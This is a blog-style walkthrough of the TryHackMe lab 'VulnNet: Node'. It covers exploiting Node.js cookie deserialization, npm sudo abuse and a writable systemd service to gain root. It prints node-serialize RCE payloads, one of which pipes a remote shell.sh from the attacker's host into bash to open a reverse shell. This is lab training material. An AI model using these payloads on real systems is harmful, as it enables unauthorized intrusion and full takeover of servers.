VulnNet: Node TryHackMe Walkthrough

Introduction

Hello guys back again with another walkthrough this time we’ll be tackling VulnNet: Node from TryHackMe. The room was rated easy and i totally agree with the rating and what made me love the room even more was that it was as real world as possible. You start off by finding a web server running Node.js Express framework you find it assigns you a cookie and the cookie is utilized somehow by the web server. Messing with the cookie you realize tht the cookie is unserialized by the web application and being a penetration tester I’ve come across nodejs deserialization vulnerability before so we create a node serialized cookie object send it to the server and it lands us a shell on the box. Next we find that we can run nmp packages as the serv-manage user and using this misconfiguration we land on the box as the serv-manage user. user done!!!! . For root we edit some systemctl service files that are run as root and using a bash reverse shell payload get root on the box. The box was a real fun one thanks to the creator of the box TheCyb3rW0lf. Without much say let’s jump in

Enumeration

As always we start off with a nmap scan of the box to find open ports

Looking at the result below we only have one port open

Before going to start enumerating at the web application i decided to do a full port scan on the box since i only found one port listening. It good to always have recon going on in the background because you might be lucky and find some information which you could have prossibly missed and it also saved time during penetration testing

Now that we have that running in the background let’s take a look at the web application. On opening the webpage we get a standard web application

The information we have right now is that the web application is using the Node.js Express framework. That’s not much to go on but it’s a start. Also looking at the post we get some usernames like

1. Tilo Mitra
2. Eric Ferraiuolo
3. Reid Burke
4. Andrew Wooldridge

This usernames may come in handy if we may perform a brute force attack. Before i again began to manually enumerate at the web application i ran a gobuster which is a tool used to brute-force URIs including directories and
files as well as DNS subdomainson the web application to find if there are any hidden directory that might have interesting information like configuration file or credentials

And we get some directories the most interesting on being Login. Navigating to /login gives us a login page

The login page requires an email address and so far we don’t even have a valid host name for the server. Trying a username in the email field we get an error

I decided to leave the login page till i get a valid hostname for the box. Next i decided to intercept the servers main page request using burpsuite and see if I’ll find anything interesting

Looking at the request we see that a session cookie had already been assigned to us though we had not even logged in to the web application. That was peculiar to me and i decided to investigate

I send the request to the repeater tab and decided to mess with the cookie and see if i could bend the normal functioning of the web application

Exploitation

First the cookie is base64 encoded so i decoded the cookie using the decoder tab

Looking at the screenshot above we some some JSON encoded data. My first thought was maybe we could bypass the whole login process if we might change the cookie making the web application think we are admins

And i tried that first

Next i sent the modified session cookie and the web application thinks we are admin looking at the screenshot below

Then i tried navigating to the login page to see if it would redirect us to a different page but still the web application asked for the password

I started thinking that maybe logging into the web application was a dead end. But i knew the web application must be utilizing the cookie somehow i just needed to find out how. So i decided to delete half of the base64 encoded cookie and see how the web application would cough an error message since I’ve seen that technique being used to lead a jwt secret key

Looking at the screenshot above we get some real juicy information from the error displayed by the web application. Error are really nice for a hacker but bad for the web server since sometime it leaks sensitive information about the web server

We see that the web application is trying to unserialize the session cookie but it’s getting an error. My next step was looking into Node Js. deserialization vulnerability and i found an interesting Blog Post

Node Js de-serialization vulnerability is the easiest to exploit since the payload doesn’t change that much

We will modify the following payload a bit to get it working

{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /',
function(error, stdout, stderr) { console.log(stdout) });\n }()"}

In a nut shell the _$$ND_FUNC$$_ function was directly passed into an eval statement that lead to code execution on the web application. To make sure that the exploit was working i tried pinging myself first

First i did set up a tcpdump listener

And created the payload

Used the session cookie created on the web application and forwarded the request using the repeater tab

Going back to the tcpdump listener we get some pings

Sweet the next step is getting a shell on the box. I created a bash reverse shell file on my box called shell.sh that the server would curl and the pipe the contents to bash

Next modified the payload a bit

The final payload looked something like

{"username":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('curl 10.8.2.58:8000/shell.sh | bash ', function(error, stdout, stderr) { console.log(stdout) });\n }()","isAdmin":true,"encoding": "utf-8"}

Next i started a web server and then started a netcat listener on port 9001

Copied the generated payload and added it to the cookie and forwarded the request again

Going back to my netcat listener i had a shell on the box

Sweet!!!. We finally have a shell on the box.

Lateral movement

running sudo -l we find that we can run the package npm as the serv-manage user

Using GTFOBins we are able to exploit that misconfiguartion and get a shell as serv-manage user

looking at the screenshot below we get a shell as the serv-mnagae user

Looking at his home directory we have the user flag and we can read it. You can submit the flag on TryHackMe and get the points

Next we need to escalate our privileges to the root user

Running sudo -l we find that we can edit a system ditimer service called vulnnet-auto.timer

Looking at the timer file we see it executes a systemctl service file called vulnnet-job.service

And we also have write access

The service executes df system command

And since we can modify it how about causing the service to execute our very own reverse shell that we had generated before

Next i again did set up a netcat reverse shell

Then ran the commands below

Going back our netcat listener we had a root shell on the box

Navigating to the root user’s directory we had the root flag which we had read access

And the box is pretty much done!!. There was a rabbit hole on the box that someone could easily fall into and that was the login page but after much failed attempts someone could possibly get themselves out off

I hope you liked the walkthrough if so don’t forget to clap for me down below and follow me so that you won’t miss any upcoming articles